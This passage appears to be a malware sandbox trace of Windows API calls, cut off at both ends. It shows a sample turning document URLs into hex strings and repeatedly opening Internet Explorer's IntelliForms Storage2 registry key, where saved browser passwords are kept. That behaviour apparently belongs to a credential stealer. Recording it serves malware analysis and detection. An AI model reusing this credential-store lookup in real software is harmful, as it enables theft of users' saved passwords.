lstrlenA (lpString="28") returned 2 [0077.973] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6292f8 [0077.973] lstrcpyA (in: lpString1=0x6292f8, lpString2="9C77D73B57F1ED23DC3BF882620D6987589E" | out: lpString1="9C77D73B57F1ED23DC3BF882620D6987589E") returned="9C77D73B57F1ED23DC3BF882620D6987589E" [0077.973] lstrcatA (in: lpString1="9C77D73B57F1ED23DC3BF882620D6987589E", lpString2="28" | out: lpString1="9C77D73B57F1ED23DC3BF882620D6987589E28") returned="9C77D73B57F1ED23DC3BF882620D6987589E28" [0077.974] LocalFree (hMem=0x6293a8) returned 0x0 [0077.974] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="BF") returned 2 [0077.974] lstrlenA (lpString="9C77D73B57F1ED23DC3BF882620D6987589E28") returned 38 [0077.974] lstrlenA (lpString="BF") returned 2 [0077.974] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647948 [0077.974] lstrcpyA (in: lpString1=0x647948, lpString2="9C77D73B57F1ED23DC3BF882620D6987589E28" | out: lpString1="9C77D73B57F1ED23DC3BF882620D6987589E28") returned="9C77D73B57F1ED23DC3BF882620D6987589E28" [0077.974] lstrcatA (in: lpString1="9C77D73B57F1ED23DC3BF882620D6987589E28", lpString2="BF" | out: lpString1="9C77D73B57F1ED23DC3BF882620D6987589E28BF") returned="9C77D73B57F1ED23DC3BF882620D6987589E28BF" [0077.974] LocalFree (hMem=0x6292f8) returned 0x0 [0077.974] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="4A") returned 2 [0077.974] lstrlenA (lpString="9C77D73B57F1ED23DC3BF882620D6987589E28BF") returned 40 [0077.974] lstrlenA (lpString="4A") returned 2 [0077.974] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x647a00 [0077.974] lstrcpyA (in: lpString1=0x647a00, lpString2="9C77D73B57F1ED23DC3BF882620D6987589E28BF" | out: lpString1="9C77D73B57F1ED23DC3BF882620D6987589E28BF") returned="9C77D73B57F1ED23DC3BF882620D6987589E28BF" [0077.974] lstrcatA (in: lpString1="9C77D73B57F1ED23DC3BF882620D6987589E28BF", lpString2="4A" | out: lpString1="9C77D73B57F1ED23DC3BF882620D6987589E28BF4A") returned="9C77D73B57F1ED23DC3BF882620D6987589E28BF4A" [0077.974] LocalFree (hMem=0x647948) returned 0x0 [0077.974] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0077.974] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0077.974] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0077.974] LocalFree (hMem=0x647a00) returned 0x0 [0077.974] CoTaskMemFree (pv=0x647890) [0077.974] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/FKH%20Lcb8aAU__RhP3O.ots", lpSrch="?") returned 0x0 [0077.974] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/FKH%20Lcb8aAU__RhP3O.ots") returned 59 [0077.974] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="7C") returned 2 [0077.975] lstrlenA (lpString="") returned 0 [0077.975] lstrlenA (lpString="7C") returned 2 [0077.975] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x657ea8 [0077.975] lstrcpyA (in: lpString1=0x657ea8, lpString2="" | out: lpString1="") returned="" [0077.975] lstrcatA (in: lpString1="", lpString2="7C" | out: lpString1="7C") returned="7C" [0077.975] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="00") returned 2 [0077.975] lstrlenA (lpString="7C") returned 2 [0077.975] lstrlenA (lpString="00") returned 2 [0077.975] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x657f38 [0077.975] lstrcpyA (in: lpString1=0x657f38, lpString2="7C" | out: lpString1="7C") returned="7C" [0077.975] lstrcatA (in: lpString1="7C", lpString2="00" | out: lpString1="7C00") returned="7C00" [0077.975] LocalFree (hMem=0x657ea8) returned 0x0 [0077.975] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="E9") returned 2 [0077.975] lstrlenA (lpString="7C00") returned 4 [0077.975] lstrlenA (lpString="E9") returned 2 [0077.975] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x657ea8 [0077.975] lstrcpyA (in: lpString1=0x657ea8, lpString2="7C00" | out: lpString1="7C00") returned="7C00" [0077.975] lstrcatA (in: lpString1="7C00", lpString2="E9" | out: lpString1="7C00E9") returned="7C00E9" [0077.976] LocalFree (hMem=0x657f38) returned 0x0 [0077.976] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="6E") returned 2 [0077.976] lstrlenA (lpString="7C00E9") returned 6 [0077.976] lstrlenA (lpString="6E") returned 2 [0077.976] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x657f38 [0077.976] lstrcpyA (in: lpString1=0x657f38, lpString2="7C00E9" | out: lpString1="7C00E9") returned="7C00E9" [0077.976] lstrcatA (in: lpString1="7C00E9", lpString2="6E" | out: lpString1="7C00E96E") returned="7C00E96E" [0077.976] LocalFree (hMem=0x657ea8) returned 0x0 [0077.976] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="A1") returned 2 [0077.976] lstrlenA (lpString="7C00E96E") returned 8 [0077.976] lstrlenA (lpString="A1") returned 2 [0077.976] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x657fd0 [0077.976] lstrcpyA (in: lpString1=0x657fd0, lpString2="7C00E96E" | out: lpString1="7C00E96E") returned="7C00E96E" [0077.976] lstrcatA (in: lpString1="7C00E96E", lpString2="A1" | out: lpString1="7C00E96EA1") returned="7C00E96EA1" [0077.976] LocalFree (hMem=0x657f38) returned 0x0 [0077.976] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="FD") returned 2 [0077.976] lstrlenA (lpString="7C00E96EA1") returned 10 [0077.976] lstrlenA (lpString="FD") returned 2 [0077.976] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x657ea8 [0077.976] lstrcpyA (in: lpString1=0x657ea8, lpString2="7C00E96EA1" | out: lpString1="7C00E96EA1") returned="7C00E96EA1" [0077.976] lstrcatA (in: lpString1="7C00E96EA1", lpString2="FD" | out: lpString1="7C00E96EA1FD") returned="7C00E96EA1FD" [0077.976] LocalFree (hMem=0x657fd0) returned 0x0 [0077.976] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="F1") returned 2 [0077.976] lstrlenA (lpString="7C00E96EA1FD") returned 12 [0077.976] lstrlenA (lpString="F1") returned 2 [0077.976] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x657f40 [0077.976] lstrcpyA (in: lpString1=0x657f40, lpString2="7C00E96EA1FD" | out: lpString1="7C00E96EA1FD") returned="7C00E96EA1FD" [0077.976] lstrcatA (in: lpString1="7C00E96EA1FD", lpString2="F1" | out: lpString1="7C00E96EA1FDF1") returned="7C00E96EA1FDF1" [0077.976] LocalFree (hMem=0x657ea8) returned 0x0 [0077.976] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="8E") returned 2 [0077.976] lstrlenA (lpString="7C00E96EA1FDF1") returned 14 [0077.976] lstrlenA (lpString="8E") returned 2 [0077.976] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x657fd8 [0077.976] lstrcpyA (in: lpString1=0x657fd8, lpString2="7C00E96EA1FDF1" | out: lpString1="7C00E96EA1FDF1") returned="7C00E96EA1FDF1" [0077.976] lstrcatA (in: lpString1="7C00E96EA1FDF1", lpString2="8E" | out: lpString1="7C00E96EA1FDF18E") returned="7C00E96EA1FDF18E" [0077.976] LocalFree (hMem=0x657f40) returned 0x0 [0077.976] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="10") returned 2 [0077.976] lstrlenA (lpString="7C00E96EA1FDF18E") returned 16 [0077.977] lstrlenA (lpString="10") returned 2 [0077.977] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x657ea8 [0077.977] lstrcpyA (in: lpString1=0x657ea8, lpString2="7C00E96EA1FDF18E" | out: lpString1="7C00E96EA1FDF18E") returned="7C00E96EA1FDF18E" [0077.977] lstrcatA (in: lpString1="7C00E96EA1FDF18E", lpString2="10" | out: lpString1="7C00E96EA1FDF18E10") returned="7C00E96EA1FDF18E10" [0077.977] LocalFree (hMem=0x657fd8) returned 0x0 [0077.977] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="C6") returned 2 [0077.977] lstrlenA (lpString="7C00E96EA1FDF18E10") returned 18 [0077.977] lstrlenA (lpString="C6") returned 2 [0077.977] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x657f48 [0077.977] lstrcpyA (in: lpString1=0x657f48, lpString2="7C00E96EA1FDF18E10" | out: lpString1="7C00E96EA1FDF18E10") returned="7C00E96EA1FDF18E10" [0077.977] lstrcatA (in: lpString1="7C00E96EA1FDF18E10", lpString2="C6" | out: lpString1="7C00E96EA1FDF18E10C6") returned="7C00E96EA1FDF18E10C6" [0077.977] LocalFree (hMem=0x657ea8) returned 0x0 [0077.977] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="4B") returned 2 [0077.977] lstrlenA (lpString="7C00E96EA1FDF18E10C6") returned 20 [0077.977] lstrlenA (lpString="4B") returned 2 [0077.977] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x657ea8 [0077.977] lstrcpyA (in: lpString1=0x657ea8, lpString2="7C00E96EA1FDF18E10C6" | out: lpString1="7C00E96EA1FDF18E10C6") returned="7C00E96EA1FDF18E10C6" [0077.977] lstrcatA (in: lpString1="7C00E96EA1FDF18E10C6", lpString2="4B" | out: lpString1="7C00E96EA1FDF18E10C64B") returned="7C00E96EA1FDF18E10C64B" [0077.977] LocalFree (hMem=0x657f48) returned 0x0 [0077.977] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="12") returned 2 [0077.977] lstrlenA (lpString="7C00E96EA1FDF18E10C64B") returned 22 [0077.977] lstrlenA (lpString="12") returned 2 [0077.977] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652b60 [0077.977] lstrcpyA (in: lpString1=0x652b60, lpString2="7C00E96EA1FDF18E10C64B" | out: lpString1="7C00E96EA1FDF18E10C64B") returned="7C00E96EA1FDF18E10C64B" [0077.977] lstrcatA (in: lpString1="7C00E96EA1FDF18E10C64B", lpString2="12" | out: lpString1="7C00E96EA1FDF18E10C64B12") returned="7C00E96EA1FDF18E10C64B12" [0077.977] LocalFree (hMem=0x657ea8) returned 0x0 [0077.977] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="3A") returned 2 [0077.977] lstrlenA (lpString="7C00E96EA1FDF18E10C64B12") returned 24 [0077.977] lstrlenA (lpString="3A") returned 2 [0077.977] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652968 [0077.977] lstrcpyA (in: lpString1=0x652968, lpString2="7C00E96EA1FDF18E10C64B12" | out: lpString1="7C00E96EA1FDF18E10C64B12") returned="7C00E96EA1FDF18E10C64B12" [0077.977] lstrcatA (in: lpString1="7C00E96EA1FDF18E10C64B12", lpString2="3A" | out: lpString1="7C00E96EA1FDF18E10C64B123A") returned="7C00E96EA1FDF18E10C64B123A" [0077.977] LocalFree (hMem=0x652b60) returned 0x0 [0077.977] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="04") returned 2 [0077.977] lstrlenA (lpString="7C00E96EA1FDF18E10C64B123A") returned 26 [0077.977] lstrlenA (lpString="04") returned 2 [0077.977] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652b60 [0077.977] lstrcpyA (in: lpString1=0x652b60, lpString2="7C00E96EA1FDF18E10C64B123A" | out: lpString1="7C00E96EA1FDF18E10C64B123A") returned="7C00E96EA1FDF18E10C64B123A" [0077.977] lstrcatA (in: lpString1="7C00E96EA1FDF18E10C64B123A", lpString2="04" | out: lpString1="7C00E96EA1FDF18E10C64B123A04") returned="7C00E96EA1FDF18E10C64B123A04" [0077.977] LocalFree (hMem=0x652968) returned 0x0 [0077.978] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="F2") returned 2 [0077.978] lstrlenA (lpString="7C00E96EA1FDF18E10C64B123A04") returned 28 [0077.978] lstrlenA (lpString="F2") returned 2 [0077.978] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652968 [0077.978] lstrcpyA (in: lpString1=0x652968, lpString2="7C00E96EA1FDF18E10C64B123A04" | out: lpString1="7C00E96EA1FDF18E10C64B123A04") returned="7C00E96EA1FDF18E10C64B123A04" [0077.978] lstrcatA (in: lpString1="7C00E96EA1FDF18E10C64B123A04", lpString2="F2" | out: lpString1="7C00E96EA1FDF18E10C64B123A04F2") returned="7C00E96EA1FDF18E10C64B123A04F2" [0077.978] LocalFree (hMem=0x652b60) returned 0x0 [0077.978] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="28") returned 2 [0077.978] lstrlenA (lpString="7C00E96EA1FDF18E10C64B123A04F2") returned 30 [0077.978] lstrlenA (lpString="28") returned 2 [0077.978] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6292f8 [0077.978] lstrcpyA (in: lpString1=0x6292f8, lpString2="7C00E96EA1FDF18E10C64B123A04F2" | out: lpString1="7C00E96EA1FDF18E10C64B123A04F2") returned="7C00E96EA1FDF18E10C64B123A04F2" [0077.978] lstrcatA (in: lpString1="7C00E96EA1FDF18E10C64B123A04F2", lpString2="28" | out: lpString1="7C00E96EA1FDF18E10C64B123A04F228") returned="7C00E96EA1FDF18E10C64B123A04F228" [0077.978] LocalFree (hMem=0x652968) returned 0x0 [0077.978] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="99") returned 2 [0077.978] lstrlenA (lpString="7C00E96EA1FDF18E10C64B123A04F228") returned 32 [0077.978] lstrlenA (lpString="99") returned 2 [0077.978] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x6293a8 [0077.978] lstrcpyA (in: lpString1=0x6293a8, lpString2="7C00E96EA1FDF18E10C64B123A04F228" | out: lpString1="7C00E96EA1FDF18E10C64B123A04F228") returned="7C00E96EA1FDF18E10C64B123A04F228" [0077.978] lstrcatA (in: lpString1="7C00E96EA1FDF18E10C64B123A04F228", lpString2="99" | out: lpString1="7C00E96EA1FDF18E10C64B123A04F22899") returned="7C00E96EA1FDF18E10C64B123A04F22899" [0077.978] LocalFree (hMem=0x6292f8) returned 0x0 [0077.978] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="5A") returned 2 [0077.978] lstrlenA (lpString="7C00E96EA1FDF18E10C64B123A04F22899") returned 34 [0077.978] lstrlenA (lpString="5A") returned 2 [0077.978] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6292f8 [0077.978] lstrcpyA (in: lpString1=0x6292f8, lpString2="7C00E96EA1FDF18E10C64B123A04F22899" | out: lpString1="7C00E96EA1FDF18E10C64B123A04F22899") returned="7C00E96EA1FDF18E10C64B123A04F22899" [0077.978] lstrcatA (in: lpString1="7C00E96EA1FDF18E10C64B123A04F22899", lpString2="5A" | out: lpString1="7C00E96EA1FDF18E10C64B123A04F228995A") returned="7C00E96EA1FDF18E10C64B123A04F228995A" [0077.978] LocalFree (hMem=0x6293a8) returned 0x0 [0077.978] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="F7") returned 2 [0077.978] lstrlenA (lpString="7C00E96EA1FDF18E10C64B123A04F228995A") returned 36 [0077.978] lstrlenA (lpString="F7") returned 2 [0077.978] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6293a8 [0077.978] lstrcpyA (in: lpString1=0x6293a8, lpString2="7C00E96EA1FDF18E10C64B123A04F228995A" | out: lpString1="7C00E96EA1FDF18E10C64B123A04F228995A") returned="7C00E96EA1FDF18E10C64B123A04F228995A" [0077.978] lstrcatA (in: lpString1="7C00E96EA1FDF18E10C64B123A04F228995A", lpString2="F7" | out: lpString1="7C00E96EA1FDF18E10C64B123A04F228995AF7") returned="7C00E96EA1FDF18E10C64B123A04F228995AF7" [0077.978] LocalFree (hMem=0x6292f8) returned 0x0 [0077.978] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="EF") returned 2 [0077.978] lstrlenA (lpString="7C00E96EA1FDF18E10C64B123A04F228995AF7") returned 38 [0077.978] lstrlenA (lpString="EF") returned 2 [0077.978] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647890 [0077.979] lstrcpyA (in: lpString1=0x647890, lpString2="7C00E96EA1FDF18E10C64B123A04F228995AF7" | out: lpString1="7C00E96EA1FDF18E10C64B123A04F228995AF7") returned="7C00E96EA1FDF18E10C64B123A04F228995AF7" [0077.979] lstrcatA (in: lpString1="7C00E96EA1FDF18E10C64B123A04F228995AF7", lpString2="EF" | out: lpString1="7C00E96EA1FDF18E10C64B123A04F228995AF7EF") returned="7C00E96EA1FDF18E10C64B123A04F228995AF7EF" [0077.979] LocalFree (hMem=0x6293a8) returned 0x0 [0077.979] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="54") returned 2 [0077.979] lstrlenA (lpString="7C00E96EA1FDF18E10C64B123A04F228995AF7EF") returned 40 [0077.979] lstrlenA (lpString="54") returned 2 [0077.979] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x647a00 [0077.979] lstrcpyA (in: lpString1=0x647a00, lpString2="7C00E96EA1FDF18E10C64B123A04F228995AF7EF" | out: lpString1="7C00E96EA1FDF18E10C64B123A04F228995AF7EF") returned="7C00E96EA1FDF18E10C64B123A04F228995AF7EF" [0077.979] lstrcatA (in: lpString1="7C00E96EA1FDF18E10C64B123A04F228995AF7EF", lpString2="54" | out: lpString1="7C00E96EA1FDF18E10C64B123A04F228995AF7EF54") returned="7C00E96EA1FDF18E10C64B123A04F228995AF7EF54" [0077.979] LocalFree (hMem=0x647890) returned 0x0 [0077.979] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0077.979] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0077.979] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0077.979] LocalFree (hMem=0x647a00) returned 0x0 [0077.979] CoTaskMemFree (pv=0x6104c0) [0077.979] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/D9sHIvZRZ.xlsx", lpSrch="?") returned 0x0 [0077.979] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/D9sHIvZRZ.xlsx") returned 49 [0077.979] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="DE") returned 2 [0077.979] lstrlenA (lpString="") returned 0 [0077.979] lstrlenA (lpString="DE") returned 2 [0077.979] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x657ff8 [0077.979] lstrcpyA (in: lpString1=0x657ff8, lpString2="" | out: lpString1="") returned="" [0077.979] lstrcatA (in: lpString1="", lpString2="DE" | out: lpString1="DE") returned="DE" [0077.979] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="2A") returned 2 [0077.979] lstrlenA (lpString="DE") returned 2 [0077.979] lstrlenA (lpString="2A") returned 2 [0077.979] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x658088 [0077.979] lstrcpyA (in: lpString1=0x658088, lpString2="DE" | out: lpString1="DE") returned="DE" [0077.979] lstrcatA (in: lpString1="DE", lpString2="2A" | out: lpString1="DE2A") returned="DE2A" [0077.979] LocalFree (hMem=0x657ff8) returned 0x0 [0077.979] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="CC") returned 2 [0077.979] lstrlenA (lpString="DE2A") returned 4 [0077.980] lstrlenA (lpString="CC") returned 2 [0077.980] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x657ff8 [0077.980] lstrcpyA (in: lpString1=0x657ff8, lpString2="DE2A" | out: lpString1="DE2A") returned="DE2A" [0077.980] lstrcatA (in: lpString1="DE2A", lpString2="CC" | out: lpString1="DE2ACC") returned="DE2ACC" [0077.980] LocalFree (hMem=0x658088) returned 0x0 [0077.980] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="18") returned 2 [0077.980] lstrlenA (lpString="DE2ACC") returned 6 [0077.980] lstrlenA (lpString="18") returned 2 [0077.980] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x658088 [0077.980] lstrcpyA (in: lpString1=0x658088, lpString2="DE2ACC" | out: lpString1="DE2ACC") returned="DE2ACC" [0077.980] lstrcatA (in: lpString1="DE2ACC", lpString2="18" | out: lpString1="DE2ACC18") returned="DE2ACC18" [0077.980] LocalFree (hMem=0x657ff8) returned 0x0 [0077.980] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="8D") returned 2 [0077.980] lstrlenA (lpString="DE2ACC18") returned 8 [0077.980] lstrlenA (lpString="8D") returned 2 [0077.980] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x658120 [0077.980] lstrcpyA (in: lpString1=0x658120, lpString2="DE2ACC18" | out: lpString1="DE2ACC18") returned="DE2ACC18" [0077.980] lstrcatA (in: lpString1="DE2ACC18", lpString2="8D" | out: lpString1="DE2ACC188D") returned="DE2ACC188D" [0077.980] LocalFree (hMem=0x658088) returned 0x0 [0077.980] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="DC") returned 2 [0077.980] lstrlenA (lpString="DE2ACC188D") returned 10 [0077.980] lstrlenA (lpString="DC") returned 2 [0077.980] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x657ff8 [0077.980] lstrcpyA (in: lpString1=0x657ff8, lpString2="DE2ACC188D" | out: lpString1="DE2ACC188D") returned="DE2ACC188D" [0077.980] lstrcatA (in: lpString1="DE2ACC188D", lpString2="DC" | out: lpString1="DE2ACC188DDC") returned="DE2ACC188DDC" [0077.980] LocalFree (hMem=0x658120) returned 0x0 [0077.980] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="DA") returned 2 [0077.980] lstrlenA (lpString="DE2ACC188DDC") returned 12 [0077.980] lstrlenA (lpString="DA") returned 2 [0077.980] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x658090 [0077.980] lstrcpyA (in: lpString1=0x658090, lpString2="DE2ACC188DDC" | out: lpString1="DE2ACC188DDC") returned="DE2ACC188DDC" [0077.980] lstrcatA (in: lpString1="DE2ACC188DDC", lpString2="DA" | out: lpString1="DE2ACC188DDCDA") returned="DE2ACC188DDCDA" [0077.980] LocalFree (hMem=0x657ff8) returned 0x0 [0077.980] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="9B") returned 2 [0077.980] lstrlenA (lpString="DE2ACC188DDCDA") returned 14 [0077.980] lstrlenA (lpString="9B") returned 2 [0077.980] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x658128 [0077.980] lstrcpyA (in: lpString1=0x658128, lpString2="DE2ACC188DDCDA" | out: lpString1="DE2ACC188DDCDA") returned="DE2ACC188DDCDA" [0077.980] lstrcatA (in: lpString1="DE2ACC188DDCDA", lpString2="9B" | out: lpString1="DE2ACC188DDCDA9B") returned="DE2ACC188DDCDA9B" [0077.981] LocalFree (hMem=0x658090) returned 0x0 [0077.981] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="D3") returned 2 [0077.981] lstrlenA (lpString="DE2ACC188DDCDA9B") returned 16 [0077.981] lstrlenA (lpString="D3") returned 2 [0077.981] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x657ff8 [0077.981] lstrcpyA (in: lpString1=0x657ff8, lpString2="DE2ACC188DDCDA9B" | out: lpString1="DE2ACC188DDCDA9B") returned="DE2ACC188DDCDA9B" [0077.981] lstrcatA (in: lpString1="DE2ACC188DDCDA9B", lpString2="D3" | out: lpString1="DE2ACC188DDCDA9BD3") returned="DE2ACC188DDCDA9BD3" [0077.981] LocalFree (hMem=0x658128) returned 0x0 [0077.981] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="74") returned 2 [0077.981] lstrlenA (lpString="DE2ACC188DDCDA9BD3") returned 18 [0077.981] lstrlenA (lpString="74") returned 2 [0077.981] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x658098 [0077.981] lstrcpyA (in: lpString1=0x658098, lpString2="DE2ACC188DDCDA9BD3" | out: lpString1="DE2ACC188DDCDA9BD3") returned="DE2ACC188DDCDA9BD3" [0077.981] lstrcatA (in: lpString1="DE2ACC188DDCDA9BD3", lpString2="74" | out: lpString1="DE2ACC188DDCDA9BD374") returned="DE2ACC188DDCDA9BD374" [0077.981] LocalFree (hMem=0x657ff8) returned 0x0 [0077.981] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="C6") returned 2 [0077.981] lstrlenA (lpString="DE2ACC188DDCDA9BD374") returned 20 [0077.981] lstrlenA (lpString="C6") returned 2 [0077.981] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x657ff8 [0077.981] lstrcpyA (in: lpString1=0x657ff8, lpString2="DE2ACC188DDCDA9BD374" | out: lpString1="DE2ACC188DDCDA9BD374") returned="DE2ACC188DDCDA9BD374" [0077.981] lstrcatA (in: lpString1="DE2ACC188DDCDA9BD374", lpString2="C6" | out: lpString1="DE2ACC188DDCDA9BD374C6") returned="DE2ACC188DDCDA9BD374C6" [0077.981] LocalFree (hMem=0x658098) returned 0x0 [0077.981] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="EC") returned 2 [0077.981] lstrlenA (lpString="DE2ACC188DDCDA9BD374C6") returned 22 [0077.981] lstrlenA (lpString="EC") returned 2 [0077.981] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652968 [0077.981] lstrcpyA (in: lpString1=0x652968, lpString2="DE2ACC188DDCDA9BD374C6" | out: lpString1="DE2ACC188DDCDA9BD374C6") returned="DE2ACC188DDCDA9BD374C6" [0077.981] lstrcatA (in: lpString1="DE2ACC188DDCDA9BD374C6", lpString2="EC" | out: lpString1="DE2ACC188DDCDA9BD374C6EC") returned="DE2ACC188DDCDA9BD374C6EC" [0077.981] LocalFree (hMem=0x657ff8) returned 0x0 [0077.981] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="54") returned 2 [0077.981] lstrlenA (lpString="DE2ACC188DDCDA9BD374C6EC") returned 24 [0077.981] lstrlenA (lpString="54") returned 2 [0077.981] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652b60 [0077.981] lstrcpyA (in: lpString1=0x652b60, lpString2="DE2ACC188DDCDA9BD374C6EC" | out: lpString1="DE2ACC188DDCDA9BD374C6EC") returned="DE2ACC188DDCDA9BD374C6EC" [0077.982] lstrcatA (in: lpString1="DE2ACC188DDCDA9BD374C6EC", lpString2="54" | out: lpString1="DE2ACC188DDCDA9BD374C6EC54") returned="DE2ACC188DDCDA9BD374C6EC54" [0077.982] LocalFree (hMem=0x652968) returned 0x0 [0077.982] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="48") returned 2 [0077.982] lstrlenA (lpString="DE2ACC188DDCDA9BD374C6EC54") returned 26 [0077.982] lstrlenA (lpString="48") returned 2 [0077.982] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652968 [0077.982] lstrcpyA (in: lpString1=0x652968, lpString2="DE2ACC188DDCDA9BD374C6EC54" | out: lpString1="DE2ACC188DDCDA9BD374C6EC54") returned="DE2ACC188DDCDA9BD374C6EC54" [0077.982] lstrcatA (in: lpString1="DE2ACC188DDCDA9BD374C6EC54", lpString2="48" | out: lpString1="DE2ACC188DDCDA9BD374C6EC5448") returned="DE2ACC188DDCDA9BD374C6EC5448" [0077.982] LocalFree (hMem=0x652b60) returned 0x0 [0077.982] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="3E") returned 2 [0077.982] lstrlenA (lpString="DE2ACC188DDCDA9BD374C6EC5448") returned 28 [0077.982] lstrlenA (lpString="3E") returned 2 [0077.982] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652b60 [0077.982] lstrcpyA (in: lpString1=0x652b60, lpString2="DE2ACC188DDCDA9BD374C6EC5448" | out: lpString1="DE2ACC188DDCDA9BD374C6EC5448") returned="DE2ACC188DDCDA9BD374C6EC5448" [0077.982] lstrcatA (in: lpString1="DE2ACC188DDCDA9BD374C6EC5448", lpString2="3E" | out: lpString1="DE2ACC188DDCDA9BD374C6EC54483E") returned="DE2ACC188DDCDA9BD374C6EC54483E" [0077.982] LocalFree (hMem=0x652968) returned 0x0 [0077.982] wsprintfA (in: param_1=0x12fe68, 